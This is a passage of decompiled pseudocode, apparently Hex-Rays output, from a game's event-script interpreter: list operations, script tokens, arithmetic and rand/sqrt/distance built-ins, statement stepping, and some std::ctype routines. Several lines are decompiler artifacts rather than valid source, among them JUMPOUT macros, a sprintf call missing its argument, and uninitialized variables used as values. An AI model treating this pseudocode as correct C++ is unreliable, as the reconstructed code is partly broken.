*)&this->baseclass_0._Myistr->gap0[0] + 4) + 32]; if ( v1 ) std::_Mutex::_Unlock((std::_Mutex *)(v1 + 4)); } //----- (004BC0B0) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, PineEventScriptNode::Statement *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); *(_DWORD *)(v3 + 4) = ele->s_Statement; return 1; } // 4BC0C6: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (004BC0E0) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, PineEventScriptNode::Statement *ele) { ListStruct *v2; // esi@1 int v3; // eax@1 v2 = this->l_Array; v3 = 3 * this->l_Finger.store; LOWORD(v3) = v2[this->l_Finger.store].ls_Next; if ( (unsigned __int16)v3 < this->l_MaxSize ) { if ( !v2[(unsigned __int16)v3].ls_IsActiv ) return 0; ele->s_Statement = v2[(unsigned __int16)v3].ls_Content->s_Statement; ((void (__stdcall *)(_DWORD))this->vfptr->l_Free)(v3); } return 1; } //----- (004BC130) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, PineEventScriptNode::Statement *ele) { ListStruct *v2; // esi@1 int v3; // eax@1 v2 = this->l_Array; v3 = 3 * this->l_Finger.store; LOWORD(v3) = v2[this->l_Finger.store].ls_Prev; if ( (unsigned __int16)v3 < this->l_MaxSize ) { if ( !v2[(unsigned __int16)v3].ls_IsActiv ) return 0; ele->s_Statement = v2[(unsigned __int16)v3].ls_Content->s_Statement; ((void (__stdcall *)(_DWORD))this->vfptr->l_Free)(v3); } return 1; } //----- (004BC180) -------------------------------------------------------- void __thiscall std::ctype::ctype(std::ctype *this, const __int16 *_Table, bool _Deletetable, unsigned int _Refs) { std::ctype *v4; // esi@1 _Ctypevec *v5; // eax@1 int v6; // eax@2 _Ctypevec result; // [sp+Ch] [bp-90h]@1 std::_Locinfo thisa; // [sp+1Ch] [bp-80h]@1 int v9; // [sp+98h] [bp-4h]@1 v4 = this; this->baseclass_0.baseclass_0._Refs = _Refs; v9 = 0; this->baseclass_0.baseclass_0.vfptr = (std::locale::facetVtbl *)&std::ctype::_vftable_; std::_Locinfo::_Locinfo(&thisa, "C"); v5 = _Getctype(&result); v4->_Ctype._Hand = v5->_Hand; v4->_Ctype._Page = v5->_Page; v4->_Ctype._Table = v5->_Table; v4->_Ctype._Delfl = v5->_Delfl; std::_Locinfo::__Locinfo(&thisa); if ( _Table ) { v6 = v4->_Ctype._Delfl; if ( v6 <= 0 ) { if ( v6 < 0 ) operator delete__((void *)v4->_Ctype._Table); } else { free((void *)v4->_Ctype._Table); } v4->_Ctype._Table = _Table; v4->_Ctype._Delfl = -(_Deletetable != 0); } } // 650DD0: using guessed type int (__thiscall *std__ctype_char____vftable_)(void *p, char); //----- (004BC260) -------------------------------------------------------- char __thiscall std::ctype::do_tolower(std::ctype *this, char _Ch) { return _Tolower((unsigned __int8)_Ch, &this->_Ctype); } //----- (004BC280) -------------------------------------------------------- const char *__thiscall std::ctype::do_tolower(std::ctype *this, char *_First, const char *_Last) { int *v3; // esi@1 _Ctypevec *v4; // edi@2 v3 = (int *)_First; if ( _First != _Last ) { v4 = &this->_Ctype; do { *(_BYTE *)v3 = _Tolower(*(_BYTE *)v3, v4); v3 = (int *)((char *)v3 + 1); } while ( (const char *)v3 != _Last ); } return (const char *)v3; } //----- (004BC2B0) -------------------------------------------------------- char __thiscall std::ctype::do_toupper(std::ctype *this, char _Ch) { return _Toupper((unsigned __int8)_Ch, &this->_Ctype); } //----- (004BC2D0) -------------------------------------------------------- const char *__thiscall std::ctype::do_toupper(std::ctype *this, char *_First, const char *_Last) { int *v3; // esi@1 _Ctypevec *v4; // edi@2 v3 = (int *)_First; if ( _First != _Last ) { v4 = &this->_Ctype; do { *(_BYTE *)v3 = _Toupper(*(_BYTE *)v3, v4); v3 = (int *)((char *)v3 + 1); } while ( (const char *)v3 != _Last ); } return (const char *)v3; } //----- (004BC310) -------------------------------------------------------- const char *__thiscall std::ctype::do_widen(std::ctype *this, const char *_First, const char *_Last, char *_Dest) { const char *result; // eax@1 result = _Last; memcpy(_Dest, _First, _Last - _First); return result; } //----- (004BC350) -------------------------------------------------------- const char *__thiscall std::ctype::do_narrow(std::ctype *this, const char *_First, const char *_Last, char __formal, char *_Dest) { const char *result; // eax@1 result = _Last; memcpy(_Dest, _First, _Last - _First); return result; } //----- (004BC380) -------------------------------------------------------- unsigned int __cdecl std::ctype::_Getcat(std::locale::facet **_Ppf) { void *v1; // eax@3 std::locale::facet *v2; // eax@4 if ( _Ppf && !*_Ppf ) { v1 = operator new(0x18u); if ( v1 ) std::ctype::ctype((std::ctype *)v1, 0, 0, 0); else v2 = 0; *_Ppf = v2; } return 2; } //----- (004BC3F0) -------------------------------------------------------- void *__thiscall std::ctype::_vector_deleting_destructor_(std::ctype *this, unsigned int a2) { void *v2; // esi@1 v2 = this; std::ctype::_ctype(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004BC410) -------------------------------------------------------- void __thiscall std::ctype::_ctype(std::ctype *this) { std::ctype *v1; // esi@1 int v2; // eax@1 v1 = this; v2 = this->_Ctype._Delfl; this->baseclass_0.baseclass_0.vfptr = (std::locale::facetVtbl *)&std::ctype::_vftable_; if ( v2 <= 0 ) { if ( v2 < 0 ) operator delete__((void *)this->_Ctype._Table); v1->baseclass_0.baseclass_0.vfptr = (std::locale::facetVtbl *)&std::locale::facet::_vftable_; } else { free((void *)this->_Ctype._Table); v1->baseclass_0.baseclass_0.vfptr = (std::locale::facetVtbl *)&std::locale::facet::_vftable_; } } // 650DD0: using guessed type int (__thiscall *std__ctype_char____vftable_)(void *p, char); // 689C6C: using guessed type int (__thiscall *std__locale__facet___vftable_)(void *p, char); //----- (004BC450) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptToken::pst_MergeString(PineScriptToken *this, char *str) { PineScriptToken *result; // eax@1 char *v3; // ecx@1 char v4; // dl@2 PineScriptToken n; // [sp+8h] [bp-104h]@1 unsigned int v6; // [sp+108h] [bp-4h]@1 v6 = (unsigned int)&n ^ __security_cookie; result = this; v3 = str; do { v4 = *v3; v3[(char *)&n - str] = *v3; ++v3; } while ( v4 ); strcat(result->pst_Buffer, n.pst_Buffer); return result; } //----- (004BC4D0) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptToken::pst_MergeNumber(PineScriptToken *this, int num) { char *v2; // ebx@1 PineScriptToken n; // [sp+Ch] [bp-104h]@1 unsigned int v5; // [sp+10Ch] [bp-4h]@1 v5 = (unsigned int)&n ^ __security_cookie; v2 = (char *)this; sprintf(n.pst_Buffer, "%d"); return (PineScriptToken *)strcat(v2, n.pst_Buffer); } //----- (004BC560) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptToken::operator__(PineScriptToken *this, PineScriptToken *sst) { PineScriptToken *v2; // esi@1 int v3; // edi@1 int v4; // eax@1 PineScriptToken *v5; // ecx@1 v2 = this; v3 = PineScriptToken::pst_GetNumber(sst, 0); v4 = PineScriptToken::pst_GetNumber(v2, 1u); return PineScriptToken::pst_MergeNumber(v5, v4 + v3); } //----- (004BC590) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptToken::operator__(PineScriptToken *this, PineScriptToken *sst) { PineScriptToken *v2; // esi@1 int v3; // edi@1 int v4; // eax@1 PineScriptToken *v5; // ecx@1 v2 = this; v3 = PineScriptToken::pst_GetNumber(sst, 0); v4 = PineScriptToken::pst_GetNumber(v2, 1u); return PineScriptToken::pst_MergeNumber(v5, v4 - v3); } //----- (004BC5C0) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptToken::operator__(PineScriptToken *this, PineScriptToken *sst) { PineScriptToken *v2; // esi@1 int v3; // edi@1 int v4; // eax@1 PineScriptToken *v5; // ecx@1 v2 = this; v3 = PineScriptToken::pst_GetNumber(sst, 0); v4 = PineScriptToken::pst_GetNumber(v2, 1u); return PineScriptToken::pst_MergeNumber(v5, v4 * v3); } //----- (004BC5F0) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptToken::operator__(PineScriptToken *this, PineScriptToken *sst) { PineScriptToken *v2; // edi@1 PineScriptToken *result; // eax@1 PineScriptToken *v4; // esi@1 int v5; // eax@2 PineScriptToken *v6; // ecx@2 v2 = this; result = (PineScriptToken *)PineScriptToken::pst_GetNumber(sst, 0); v4 = result; if ( result ) { v5 = PineScriptToken::pst_GetNumber(v2, 1u); result = PineScriptToken::pst_MergeNumber(v6, v5 / (signed int)v4); } return result; } //----- (004BC630) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncRand::sfb_Calculate(PineEventScriptNode::SysFuncRand *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { PineScriptToken *v4; // eax@2 int v5; // ebx@4 PineScriptToken *v6; // eax@5 signed int v7; // edi@7 int v8; // eax@7 buffer->pst_Buffer[0] = 0; if ( argumentlist->al_Express[0] ) v4 = (PineScriptToken *)((int (__stdcall *)(_DWORD, _DWORD))argumentlist->al_Express[0]->vfptr->sa_Calculate)( buffer, ps); else v4 = buffer; v5 = PineScriptToken::pst_GetNumber(v4, 0); buffer->pst_Buffer[0] = 0; if ( argumentlist->al_Express[1] ) v6 = (PineScriptToken *)((int (__stdcall *)(_DWORD, _DWORD))argumentlist->al_Express[1]->vfptr->sa_Calculate)( buffer, ps); else v6 = buffer; v7 = 1 - v5 + PineScriptToken::pst_GetNumber(v6, 0); buffer->pst_Buffer[0] = 0; v8 = rand(); return PineScriptToken::pst_MergeNumber(buffer, v5 + v8 % v7); } //----- (004BC6B0) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncSQRT::sfb_Calculate(PineEventScriptNode::SysFuncSQRT *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { PineScriptToken *v4; // esi@1 PineScriptToken *v5; // eax@2 int buffera; // [sp+8h] [bp+4h]@4 v4 = buffer; buffer->pst_Buffer[0] = 0; if ( argumentlist->al_Express[0] ) v5 = (PineScriptToken *)((int (__stdcall *)(_DWORD, _DWORD))argumentlist->al_Express[0]->vfptr->sa_Calculate)( buffer, ps); else v5 = buffer; buffera = PineScriptToken::pst_GetNumber(v5, 0); v4->pst_Buffer[0] = 0; return PineScriptToken::pst_MergeNumber(v4, (unsigned __int64)sqrt((double)buffera)); } //----- (004BC700) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncDistance::sfb_Calculate(PineEventScriptNode::SysFuncDistance *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { PineScriptToken *v4; // esi@1 PineScriptToken *v5; // eax@2 int v6; // ebp@4 PineScriptToken *v7; // eax@5 int v8; // ebx@7 PineScriptToken *v9; // eax@8 PineScriptToken *v10; // eax@11 int v11; // eax@13 int buffera; // [sp+20h] [bp+4h]@10 v4 = buffer; buffer->pst_Buffer[0] = 0; if ( argumentlist->al_Express[0] ) v5 = (PineScriptToken *)((int (__stdcall *)(_DWORD, _DWORD))argumentlist->al_Express[0]->vfptr->sa_Calculate)( buffer, ps); else v5 = buffer; v6 = PineScriptToken::pst_GetNumber(v5, 0); buffer->pst_Buffer[0] = 0; if ( argumentlist->al_Express[1] ) v7 = (PineScriptToken *)((int (__stdcall *)(_DWORD, _DWORD))argumentlist->al_Express[1]->vfptr->sa_Calculate)( buffer, ps); else v7 = buffer; v8 = PineScriptToken::pst_GetNumber(v7, 0); buffer->pst_Buffer[0] = 0; if ( argumentlist->al_Express[2] ) v9 = (PineScriptToken *)((int (__stdcall *)(_DWORD, _DWORD))argumentlist->al_Express[2]->vfptr->sa_Calculate)( buffer, ps); else v9 = buffer; buffera = PineScriptToken::pst_GetNumber(v9, 0); v4->pst_Buffer[0] = 0; if ( argumentlist->al_Express[3] ) v10 = argumentlist->al_Express[3]->vfptr->sa_Calculate(argumentlist->al_Express[3], v4, ps); else v10 = v4; v11 = PineScriptToken::pst_GetNumber(v10, 0); v4->pst_Buffer[0] = 0; return PineScriptToken::pst_MergeNumber( v4, (unsigned __int64)sqrt((double)((v6 - buffera) * (v6 - buffera) + (v8 - v11) * (v8 - v11)))); } //----- (004BC7F0) -------------------------------------------------------- void __thiscall PineEventScriptNode::SystemFunction::SystemFunction(PineEventScriptNode::SystemFunction *this) { this->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::SystemFunction::_vftable_; this->sfm_ArgumentList.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ArgumentList::_vftable_; this->sfm_ArgumentList.al_Express[0] = 0; this->sfm_ArgumentList.al_Express[1] = 0; this->sfm_ArgumentList.al_Express[2] = 0; this->sfm_ArgumentList.al_Express[3] = 0; this->sfm_ArgumentList.al_Express[4] = 0; this->sfm_ArgumentList.al_Express[5] = 0; this->sfm_ArgumentList.al_Express[6] = 0; this->sfm_ArgumentList.al_Express[7] = 0; this->sfm_ArgumentList.al_Express[8] = 0; this->sfm_ArgumentList.al_Express[9] = 0; this->sfm_Function = (PineEventScriptNode::SysFuncBase *)sysfuncbase; } // 650C94: using guessed type int (__stdcall *PineEventScriptNode__ArgumentList___vftable_)(int tr); // 650DF8: using guessed type int (__stdcall *PineEventScriptNode__SystemFunction___vftable_)(int tr); // 6B64B8: using guessed type int (__stdcall *(*sysfuncbase[2])[28])(int buffer, int ps, int argumentlist); //----- (004BC830) -------------------------------------------------------- void __thiscall PineEventScriptNode::Term::_Term(PineEventScriptNode::Term *this) { PineEventScriptNode::Term *v1; // esi@1 PineEventScriptNode::Term *v2; // edi@1 PineEventScriptNode::ScriptAtom *v3; // eax@3 void *v4; // ST00_4@4 v1 = this; this->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Term::_vftable_; v2 = this->t_Term; if ( v2 ) { PineEventScriptNode::Term::_Term(v2); operator delete(v2); } v3 = v1->t_Atom; if ( v3 ) { v4 = v1->t_Atom; v3->vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; operator delete(v4); } v1->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; } // 650BB4: using guessed type int (*PineEventScriptNode__ScriptAtom___vftable_)(); // 650CA4: using guessed type int (__stdcall *PineEventScriptNode__Term___vftable_)(int tr); //----- (004BC8A0) -------------------------------------------------------- void __thiscall PineEventScriptNode::Express::Express(PineEventScriptNode::Express *this) { this->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Express::_vftable_; this->e_Term.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Term::_vftable_; this->e_Term.t_Atom = 0; this->e_Term.t_Term = 0; this->e_Oper.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::CalculateOperator::_vftable_; this->e_Oper.co_Oper.pst_Buffer[0] = 0; this->e_Oper.co_OperType = 0; this->e_Express = 0; } // 650BC4: using guessed type int (__stdcall *PineEventScriptNode__CalculateOperator___vftable_)(int tr); // 650CA4: using guessed type int (__stdcall *PineEventScriptNode__Term___vftable_)(int tr); // 650E08: using guessed type int (__stdcall *PineEventScriptNode__Express___vftable_)(int tr); //----- (004BC8D0) -------------------------------------------------------- void __thiscall PineEventScriptNode::Express::_Express(PineEventScriptNode::Express *this) { PineEventScriptNode::Express *v1; // esi@1 PineEventScriptNode::Express *v2; // edi@1 v1 = this; this->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Express::_vftable_; v2 = this->e_Express; if ( v2 ) { PineEventScriptNode::Express::_Express(v2); operator delete(v2); } v1->e_Oper.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; PineEventScriptNode::Term::_Term(&v1->e_Term); v1->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; } // 650BB4: using guessed type int (*PineEventScriptNode__ScriptAtom___vftable_)(); // 650E08: using guessed type int (__stdcall *PineEventScriptNode__Express___vftable_)(int tr); //----- (004BC950) -------------------------------------------------------- void __thiscall PineEventScriptNode::Condition::Condition(PineEventScriptNode::Condition *this) { this->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Condition::_vftable_; this->c_Left.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Express::_vftable_; this->c_Left.e_Term.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Term::_vftable_; this->c_Left.e_Term.t_Atom = 0; this->c_Left.e_Term.t_Term = 0; this->c_Left.e_Oper.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::CalculateOperator::_vftable_; this->c_Left.e_Oper.co_Oper.pst_Buffer[0] = 0; this->c_Left.e_Oper.co_OperType = 0; this->c_Left.e_Express = 0; this->c_Oper.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::CompareOperator::_vftable_; this->c_Oper.co_Oper.pst_Buffer[0] = 0; this->c_Oper.co_OperType = 0; this->c_Right.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Express::_vftable_; this->c_Right.e_Term.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Term::_vftable_; this->c_Right.e_Term.t_Atom = 0; this->c_Right.e_Term.t_Term = 0; this->c_Right.e_Oper.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::CalculateOperator::_vftable_; this->c_Right.e_Oper.co_Oper.pst_Buffer[0] = 0; this->c_Right.e_Oper.co_OperType = 0; this->c_Right.e_Express = 0; } // 650BC4: using guessed type int (__stdcall *PineEventScriptNode__CalculateOperator___vftable_)(int tr); // 650BD4: using guessed type int (__thiscall *PineEventScriptNode__CompareOperator___vftable_)(PineEventScriptNode::CompareOperator *this, int tr); // 650CA4: using guessed type int (__stdcall *PineEventScriptNode__Term___vftable_)(int tr); // 650E08: using guessed type int (__stdcall *PineEventScriptNode__Express___vftable_)(int tr); // 650E18: using guessed type int (__stdcall *PineEventScriptNode__Condition___vftable_)(int tr); //----- (004BC9E0) -------------------------------------------------------- void __thiscall PineEventScriptNode::Condition::_Condition(PineEventScriptNode::Condition *this) { PineEventScriptNode::Condition *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Condition::_vftable_; PineEventScriptNode::Express::_Express(&this->c_Right); v1->c_Oper.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; PineEventScriptNode::Express::_Express(&v1->c_Left); v1->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; } // 650BB4: using guessed type int (*PineEventScriptNode__ScriptAtom___vftable_)(); // 650E18: using guessed type int (__stdcall *PineEventScriptNode__Condition___vftable_)(int tr); //----- (004BCA50) -------------------------------------------------------- void __thiscall PineEventScriptNode::StateIf::StateIf(PineEventScriptNode::StateIf *this) { PineEventScriptNode::StateIf *v1; // esi@1 v1 = this; this->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::StateIf::_vftable_; PineEventScriptNode::Condition::Condition(&this->si_Condition); v1->si_False = 0; v1->si_True = 0; } // 650E28: using guessed type int (__stdcall *PineEventScriptNode__StateIf___vftable_)(int tr); //----- (004BCA80) -------------------------------------------------------- PineEventScriptNode::Block *__thiscall PineEventScriptNode::Script::sa_FindBlock(PineEventScriptNode::Script *this, PineScriptToken *blkname) { List *v2; // edi@1 ListStruct *v3; // ecx@1 unsigned __int16 v4; // ax@1 unsigned __int16 i; // bx@1 int v6; // eax@3 int v7; // ebp@4 v2 = this->s_BlockList; v3 = v2->l_Array; v4 = v3[v2->l_Finger.store].ls_Next; for ( i = v3[v3[v2->l_Finger.store].ls_Next].ls_Next; v4 < v2->l_MaxSize; i = v2->l_Array[i].ls_Next ) { v6 = (int)&v2->l_Array[v4]; if ( !*(_BYTE *)(v6 + 8) ) break; v7 = *(_DWORD *)v6; if ( !*(_DWORD *)v6 ) break; if ( blkname && !strcmp((const char *)(v7 + 12), blkname->pst_Buffer) ) return (PineEventScriptNode::Block *)v7; if ( i >= v2->l_MaxSize ) break; v4 = i; } return 0; } //----- (004BCB30) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StateIf::sb_CloneMe(PineEventScriptNode::StateIf *this) { void *v1; // eax@1 void *v2; // esi@1 PineEventScriptNode::StatementBase *result; // eax@2 v1 = operator new(0x350u); v2 = v1; if ( v1 ) { *(_DWORD *)v1 = &PineEventScriptNode::StateIf::_vftable_; PineEventScriptNode::Condition::Condition((PineEventScriptNode::Condition *)((char *)v1 + 4)); *((_DWORD *)v2 + 211) = 0; *((_DWORD *)v2 + 210) = 0; result = (PineEventScriptNode::StatementBase *)v2; } else { result = 0; } return result; } // 650E28: using guessed type int (__stdcall *PineEventScriptNode__StateIf___vftable_)(int tr); //----- (004BCB70) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StateCall::sb_CloneMe(PineEventScriptNode::StateCall *this) { PineEventScriptNode::StatementBase *result; // eax@1 result = (PineEventScriptNode::StatementBase *)operator new(0x124u); if ( result ) { result->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::StateCall::_vftable_; result[1].baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Express::_vftable_; result[2].baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Term::_vftable_; result[4].baseclass_0.vfptr = 0; result[3].baseclass_0.vfptr = 0; result[5].baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::CalculateOperator::_vftable_; LOBYTE(result[6].baseclass_0.vfptr) = 0; result[70].baseclass_0.vfptr = 0; result[71].baseclass_0.vfptr = 0; result[72].baseclass_0.vfptr = 0; } else { result = 0; } return result; } // 650BC4: using guessed type int (__stdcall *PineEventScriptNode__CalculateOperator___vftable_)(int tr); // 650CA4: using guessed type int (__stdcall *PineEventScriptNode__Term___vftable_)(int tr); // 650E08: using guessed type int (__stdcall *PineEventScriptNode__Express___vftable_)(int tr); // 650E3C: using guessed type int (__stdcall *PineEventScriptNode__StateCall___vftable_)(int tr); //----- (004BCBC0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::Script::sa_Step(PineEventScriptNode::Script *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { int v4; // eax@2 char v5; // dl@3 PineEventScriptNode::ScriptAtom *v6; // eax@4 int v8; // ecx@6 int v9; // ecx@7 int v10; // eax@8 PineScriptToken mn; // [sp+8h] [bp-104h]@1 unsigned int v12; // [sp+108h] [bp-4h]@1 v12 = (unsigned int)&mn ^ __security_cookie; if ( *ip ) { v10 = ps->ps_StackPoint; if ( v10 ) { ps->ps_StackPoint = v10 - 1; return 1; } return 0; } v4 = (int)"main"; do { v5 = *(_BYTE *)v4; *(_BYTE *)((char *)&mn - "main" + v4) = *(_BYTE *)v4; ++v4; } while ( v5 ); v6 = (PineEventScriptNode::ScriptAtom *)PineEventScriptNode::Script::sa_FindBlock(this, &mn); if ( !v6 ) return 0; *ip = 1; v8 = ps->ps_StackPoint; if ( (unsigned int)v8 >= 0x1F ) return 0; v9 = v8 + 1; ps->ps_StackPoint = v9; ps->ps_Stack[v9].ip = 0; ps->ps_Stack[ps->ps_StackPoint].node = v6; return 1; } //----- (004BCC80) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::Block::sa_Step(PineEventScriptNode::Block *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { int *v4; // ebx@1 PineEventScriptNode::Block *v5; // edi@1 PineEventScriptNode::ScriptAtom *v6; // eax@3 int v7; // edi@4 int v8; // eax@5 int v10; // ecx@7 int v11; // ecx@9 v4 = ip; v5 = this; if ( !*ip ) this->b_VarStackPoint = ps->ps_VarStack.vs_StackPoint; v6 = (PineEventScriptNode::ScriptAtom *)List::l_GetInList( (List *)this->b_StatementList, *(_WORD *)v4, (unsigned __int16 *)&ip); if ( !v6 ) { v7 = v5->b_VarStackPoint; if ( v7 >= 0 ) { v8 = ps->ps_StackPoint; ps->ps_VarStack.vs_StackPoint = v7; if ( v8 ) { ps->ps_StackPoint = v8 - 1; return 1; } } return 0; } ++*v4; v10 = ps->ps_StackPoint; if ( (unsigned int)v10 >= 0x1F ) return 0; v11 = v10 + 1; ps->ps_StackPoint = v11; ps->ps_Stack[v11].ip = 0; ps->ps_Stack[ps->ps_StackPoint].node = v6; return 1; } //----- (004BCD20) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::Statement::sa_Step(PineEventScriptNode::Statement *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ScriptAtom *v4; // edx@2 int v5; // ecx@2 int v6; // ecx@3 int v8; // eax@4 if ( !*ip ) { *ip = 1; v4 = this->s_Statement; v5 = ps->ps_StackPoint; if ( (unsigned int)v5 < 0x1F ) { v6 = v5 + 1; ps->ps_StackPoint = v6; ps->ps_Stack[v6].ip = 0; ps->ps_Stack[ps->ps_StackPoint].node = v4; return 1; } return 0; } v8 = ps->ps_StackPoint; if ( !v8 ) return 0; ps->ps_StackPoint = v8 - 1; return 1; } //----- (004BCD90) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StateInfinite::sa_Step(PineEventScriptNode::StateInfinite *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { int v4; // edx@1 unsigned __int16 result; // ax@2 int v6; // edx@3 v4 = ps->ps_StackPoint; if ( (unsigned int)v4 < 0x1F ) { v6 = v4 + 1; ps->ps_StackPoint = v6; ps->ps_Stack[v6].ip = 0; ps->ps_Stack[ps->ps_StackPoint].node = (PineEventScriptNode::ScriptAtom *)&this->si_Block; result = 1; } else { result = 0; } return result; } //----- (004BCDD0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StateWhile::sa_Step(PineEventScriptNode::StateWhile *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::StateWhile *v4; // edi@1 PineEventScriptNode::ScriptAtomVtbl *v5; // eax@1 PineScriptToken *v6; // eax@1 bool v7; // zf@1 int v8; // eax@1 int v10; // eax@6 PineScriptToken tmp; // [sp+8h] [bp-104h]@1 unsigned int v12; // [sp+108h] [bp-4h]@1 v4 = this; v12 = (unsigned int)&tmp ^ __security_cookie; v5 = this->sw_Condition.baseclass_0.vfptr; tmp.pst_Buffer[0] = 0; v6 = (PineScriptToken *)((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v5->sa_Calculate)( &tmp, ps); v7 = PineScriptToken::pst_GetNumber(v6, 0) == 0; v8 = ps->ps_StackPoint; if ( !v7 ) { if ( (unsigned int)v8 < 0x1F ) { v10 = v8 + 1; ps->ps_StackPoint = v10; ps->ps_Stack[v10].ip = 0; ps->ps_Stack[ps->ps_StackPoint].node = (PineEventScriptNode::ScriptAtom *)&v4->sw_Block; return 1; } return 0; } if ( !v8 ) return 0; ps->ps_StackPoint = v8 - 1; return 1; } //----- (004BCE70) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StateIf::sa_Step(PineEventScriptNode::StateIf *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::StateIf *v4; // edi@1 PineEventScriptNode::ScriptAtomVtbl *v5; // eax@2 PineScriptToken *v6; // eax@2 PineEventScriptNode::ScriptAtom *v7; // edi@3 int v8; // eax@6 PineScriptToken tmp; // [sp+8h] [bp-104h]@1 unsigned int v11; // [sp+108h] [bp-4h]@1 v11 = (unsigned int)&tmp ^ __security_cookie; v4 = this; if ( *ip || ((*ip = 1, v5 = this->si_Condition.baseclass_0.vfptr, tmp.pst_Buffer[0] = 0, v6 = (PineScriptToken *)((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v5->sa_Calculate)( &tmp, ps), !PineScriptToken::pst_GetNumber(v6, 0)) ? (v7 = v4->si_False) : (v7 = v4->si_True), !v7) ) { v8 = ps->ps_StackPoint; if ( v8 ) { ps->ps_StackPoint = v8 - 1; LOWORD(v8) = 1; } } else { LOWORD(v8) = PineScriptStack::ProcessStack::ps_Push(ps, v7); } return v8; } //----- (004BCF10) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StatePrint::sa_Step(PineEventScriptNode::StatePrint *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ScriptAtomVtbl *v4; // eax@1 int v5; // eax@1 PineScriptToken prnt; // [sp+4h] [bp-104h]@1 unsigned int v8; // [sp+104h] [bp-4h]@1 v8 = (unsigned int)&prnt ^ __security_cookie; v4 = this->baseclass_0.sbe_Express.baseclass_0.vfptr; prnt.pst_Buffer[0] = 0; ((void 